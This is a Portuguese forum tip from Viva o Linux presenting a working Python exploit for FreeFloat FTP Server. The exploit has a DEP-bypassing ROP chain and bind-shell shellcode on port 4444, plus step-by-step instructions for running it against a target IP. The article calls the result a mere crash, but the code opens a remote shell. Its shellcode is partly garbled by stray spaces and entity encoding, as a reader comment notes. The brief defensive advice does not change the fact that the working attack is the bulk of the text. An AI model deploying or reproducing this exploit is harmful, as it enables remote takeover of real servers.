Pular para o conteúdo

Causando BufferOverflow em servidores rodando o FreeFloat

Dica publicada em Linux / Introdução
André andrezc
Hits: 6.341 Categoria: Linux Subcategoria: Introdução
  • Indicar
  • Impressora
  • Denunciar
O Viva o Linux depende da receita de anúncios para se manter. Ative os cookies aqui para nos patrocinar.
Não conseguimos carregar os anúncios. Se usa bloqueador, considere liberar o Viva o Linux para nos patrocinar.

Causando BufferOverflow em servidores rodando o FreeFloat

Atualmente foi descoberta uma vulnerabilidade crítica nos servidores que rodam o FreeFloat FTP Server. Nesta dica iremos explorar esta vulnerabilidade e, nos adequar a outros serviços.

Autor: André Rosa

Notas:
  • Todas as informações apresentadas nesta dica foram obtidas na Internet, sendo assim, não ofereço nenhum tipo de garantia ou suporte. Não nos responsabilizamos por qualquer dano ocorrido, tanto na máquina (computador) quanto no software. Siga por sua conta e risco.
  • É permitida a cópia do conteúdo aqui publicado, desde que o autor seja informado e os créditos sejam mantidos intactos.

Atenção sysadmins! Os servidores que rodam o FreeFloat FTP Server estão vulneráveis à buffer overflow. O que causará é uma PoC remota, causando um crash no servidor, ou seja, ao executar o exploit o servidor irá parar de responder.

Foi publicado atualmente um exploit escrito em Python para causar o estouro de buffer no servidor anteriormente citado.

Este é o exploit:

#!/usr/bin/python
import socket, sys
from struct import pack

print "\n==============================="
print "Freefloat FTP Server DEP Bypass"
print "       Escrito by Blake  e adaptado por Andrezc      "
print "===============================\n"

if len(sys.argv) != 3:
    print "[*] Uso: %s <host> <porta>\n" % sys.argv[0]
    sys.exit(0)

target = sys.argv[1]
port = int(sys.argv[2])

# 728 bytes for shellcode
#Bind Shell shellcode port 4444
shellcode = ("\x31\xc9\xdb\xcd\xbb\xb3\x93\x96\x9d\xb1\x56\xd9\x7 4\x24\xf4"
"\x5a\x31\x5a\x17\x83\xea\xfc\x03\x5a\x13\x51\x66\x6a \x75\x1c"
"\x89\x93\x86\x7e\x03\x76\xb7\xac\x77\xf2\xea\x60\xf3& #92;x56\x07"
"\x0b\x51\x43\x9c\x79\x7e\x64\x15\x37\x58\x4b\xa6\xf6 \x64\x07"
"\x64\x99\x18\x5a\xb9\x79\x20\x95\xcc\x78\x65\xc8\x3f& #92;x28\x3e"
"\x86\x92\xdc\x4b\xda\x2e\xdd\x9b\x50\x0e\xa5\x9e\xa7 \xfb\x1f"
"\xa0\xf7\x54\x14\xea\xef\xdf\x72\xcb\x0e\x33\x61\x37& #92;x58\x38"
"\x51\xc3\x5b\xe8\xa8\x2c\x6a\xd4\x66\x13\x42\xd9\x77 \x53\x65"
"\x02\x02\xaf\x95\xbf\x14\x74\xe7\x1b\x91\x69\x4f\xef& #92;x01\x4a"
"\x71\x3c\xd7\x19\x7d\x89\x9c\x46\x62\x0c\x71\xfd\x9e& #92;x85\x74"
"\xd2\x16\xdd\x52\xf6\x73\x85\xfb\xaf\xd9\x68\x04\xaf& #92;x86\xd5"
"\xa0\xbb\x25\x01\xd2\xe1\x21\xe6\xe8\x19\xb2\x60\x7b \x69\x80"
"\x2f\xd7\xe5\xa8\xb8\xf1\xf2\xcf\x92\x45\x6c\x2e\x1d& #92;xb5\xa4"
"\xf5\x49\xe5\xde\xdc\xf1\x6e\x1f\xe0\x27\x20\x4f\x4e& #92;x98\x80"
"\x3f\x2e\x48\x68\x2a\xa1\xb7\x88\x55\x6b\xce\x8f\x9b& #92;x4f\x82"
"\x67\xde\x6f\x34\x2b\x57\x89\x5c\xc3\x31\x01\xc9\x21& #92;x66\x9a"
"\x6e\x5a\x4c\xb6\x27\xcc\xd8\xd0\xf0\xf3\xd8\xf6\x52& #92;x58\x70"
"\x91\x20\xb2\x45\x80\x36\x9f\xed\xcb\x0e\x77\x67\xa2 \xdd\xe6"
"\x78\xef\xb6\x8b\xeb\x74\x47\xc2\x17\x23\x10\x83\xe6 \x3a\xf4"
"\x39\x50\x95\xeb\xc0\x04\xde\xa8\x1e\xf5\xe1\x31\xd3 \x41\xc6"
"\x21\x2d\x49\x42\x16\xe1\x1c\x1c\xc0\x47\xf7\xee\xba& #92;x11\xa4"
"\xb8\x2a\xe4\x86\x7a\x2d\xe9\xc2\x0c\xd1\x5b\xbb\x48 \xed\x53"
"\x2b\x5d\x96\x8e\xcb\xa2\x4d\x0b\xfb\xe8\xcc\x3d\x94& #92;xb4\x84"
"\x7c\xf9\x46\x73\x42\x04\xc5\x76\x3a\xf3\xd5\xf2\x3f& #92;xbf\x51"
"\xee\x4d\xd0\x37\x10\xe2\xd1\x1d\x1a")

buffer = "\x41" * 230
eip = pack('<L',0x77f613ac)      # RETN - shlwapi
rop = "\x42" * 8            # compensate
rop += pack('<L',0x77c2362c)     # POP EBX, RETN - msvcirt
rop += "\xff\xff\xff\xff"
rop += pack('<L',0x77c127e1)     # INC EBX, RETN
rop += pack('<L',0x5d093466)     # POP EBP, RETN
rop += pack('<L',0x7c8622a4)     # SetProcessDEPPolicy
rop += pack('<L',0x5d095470)     # POP EDI, RETN
rop += pack('<L',0x5d095471)     # RETN
rop += pack('<L',0x5d0913b4)     # POP ESI, RETN
rop += pack('<L',0x5d095471)            # RETN
rop += pack('<L',0x77e7d102)         # PUSHAD # RETN - RPCRT4

nops = "\x90" * 10
junk = "\x42" * (1000 - len(buffer + eip + rop + nops + shellcode))

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
print "[+] Conectando em  %s na porta %d" % (target,port)
try:
    s.connect((target,port))
    s.recv(1024)
    print "[+] Enviando payload..."
    s.send("USER " + buffer + eip + rop + nops + shellcode + junk + "\r\n")
    s.close()
    print "[+] Exploitado com sucesso! :)"
except:
    print "[X] Nao foi possivel conectar em %s" % target

raw_input("[+] Pressione quanquer tecla para sair...\n")
O Viva o Linux depende da receita de anúncios para se manter. Ative os cookies aqui para nos patrocinar.
Não conseguimos carregar os anúncios. Se usa bloqueador, considere liberar o Viva o Linux para nos patrocinar.

Eu o adaptei para um melhor entendimento. Vamos preparar nosso ambiente. Em um Windows, instale o FreeFloat FTP Server, a partir do endereço:
Adicione as devidas permissões no firewall, caso seja necessário. Após isso, selecione uma porta (escolherei a porta 21, padrão do serviço FTP), e inicie o servidor, clicando em Start.

Ok. Agora, na máquina onde iremos explorar, instale o interpretador Python, e interprete o exploit. Use o comando python nome_do_arquivo.py. Por exemplo:

python freefloat_exploit.py

Você deve receber uma saída como esta:

===============================
Freefloat FTP Server DEP Bypass
       Escrito by Blake  e adaptado por Andrezc      
===============================

[*] Uso: freefloat_exploit.py <host> <porta>


O que isso quer dizer é que devemos passar como parâmetro o endereço IP do servidor e a porta.

Portanto, no meu caso, ficaria:

python freefloat_exploit.py 192.168.1.100 21

Execução: No servidor, com Windows:

Solução

A FreeFloat FTP ainda não desenvolveu uma solução para a falha. Por enquanto, o melhor a fazer é utilizar outro servidor FTP. Lembre-se de sempre verificar em sites que disponibilizam exploits, a procura de exploits que possam comprometer seu servidor. Mantenha os serviços sempre atualizados. Esses passos básicos são essenciais para se ter um servidor seguro.

Conclusão: O conteúdo do artigo fala por si. Exploits estão acessíveis a todos. Portanto, você não deve tomar cuidado só com pessoas que realmente entendem do que fazem. Segurança é fundamental, em quaisquer circunstâncias.

O Viva o Linux depende da receita de anúncios para se manter. Ative os cookies aqui para nos patrocinar.
Não conseguimos carregar os anúncios. Se usa bloqueador, considere liberar o Viva o Linux para nos patrocinar.

Getchar(); sendo ignorado? Não mais!

Declaração de variáveis em C

APIs de criptografia em Java

DNS forwarding - um DNS universal

NoScript - Proteção quando o assunto é XSS e Clickjacking

Debian com KDE - Habilitando cliques do Touchpad

Zotero no OpenOffice.org 3.2 do openSUSE 11.3

Famelix - Linux com cara de Windows XP

Otimizando o gerenciador de boot GRUB com Splash Screen

Adicionado servidores no CruxPorts4Slackware

#1 Comentário enviado por removido em 30/09/2011 - 11:38h
Legal andré.

Boa dica !

Só um detalhe:

Nesta linha: shellcode = ("\x31\xc9\xdb\xcd\xbb\xb3\x93\x96\x9d\xb1\x56\xd9\x7 4\x24\xf4"

Retire o espaço "\x7 4\", ficando assim "\x74"\.

Se não fizer isso vai dar o seguinte erro:

ValueError: invalid \x escape

Valeu cara.

Contribuir com comentário

Entre na sua conta para comentar.